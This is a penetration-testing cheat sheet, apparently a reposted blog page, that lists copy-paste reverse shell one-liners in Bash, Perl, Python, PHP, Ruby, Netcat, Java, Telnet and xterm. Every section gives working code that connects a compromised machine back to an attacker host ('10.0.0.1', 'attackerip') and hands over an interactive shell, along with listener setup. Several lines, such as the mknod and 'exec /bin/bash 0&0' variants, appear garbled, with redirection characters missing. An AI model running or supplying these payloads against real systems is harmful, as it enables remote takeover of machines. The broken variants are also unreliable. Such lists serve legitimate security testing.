Reverse Shell's for exploit command execution attack

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.

If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.

Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

Python

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

[Untested submission from anonymous reader]

xterm

One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

First of all, on your machine, set up a listener, where attackerip is your IP address and 4444 is an arbitrary TCP port unfiltered by the target's firewall:

attacker$ nc -l -v attackerip 4444

Bash

Alternatives for Bash shell:

exec /bin/bash 0&0 2>&0

Or:

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

Or:

exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done  # or:
while read line 0<&5; do $line 2>&5 >&5; done

See also Reverse Shell With Bash from GNUCITIZEN blog.

Perl

Shorter Perl reverse shell that does not depend on /bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

If the target system is running Windows use the following one-liner:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

Longer Ruby reverse shell that does not depend on /bin/sh:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

If the target system is running Windows use the following one-liner:

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Netcat

Others possible Netcat reverse shells, depending on the Netcat version and compilation flags:

nc -c /bin/sh attackerip 4444

Or:

/bin/sh | nc attackerip 4444

Or:

rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p

See also 7 Linux Shells Using Built-in Tools from LaNMaSteR53 blog.

Telnet

Of course, you can also use Telnet as an alternative for Netcat:

rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p

Or:

telnet attackerip 4444 | /bin/bash | telnet attackerip 4445   # Remember to listen on your machine also on port 4445/tcp

xterm

Follows further details on xterm reverse shell:

To catch incoming xterm, start an open X Server on your system (:1 - which listens on TCP port 6001). One way to do this is with Xnest:

Xnest :1

Then remember to authorise on your system the target IP to connect to you:

xterm -display 127.0.0.1:1  # Run this OUTSIDE the Xnest
xhost +targetip             # Run this INSIDE the spawned xterm on the open X Server

Then on the target, assuming that xterm is installed, connect back to the open X Server on your system:

xterm -display attackerip:1

Or:

$ DISPLAY=attackerip:0 xterm

It will try to connect back to you, attackerip, on TCP port 6001.

Note that on Solaris xterm path is usually not within the PATH environment variable, you need to specify its filepath:

/usr/openwin/bin/xterm -display attackerip:1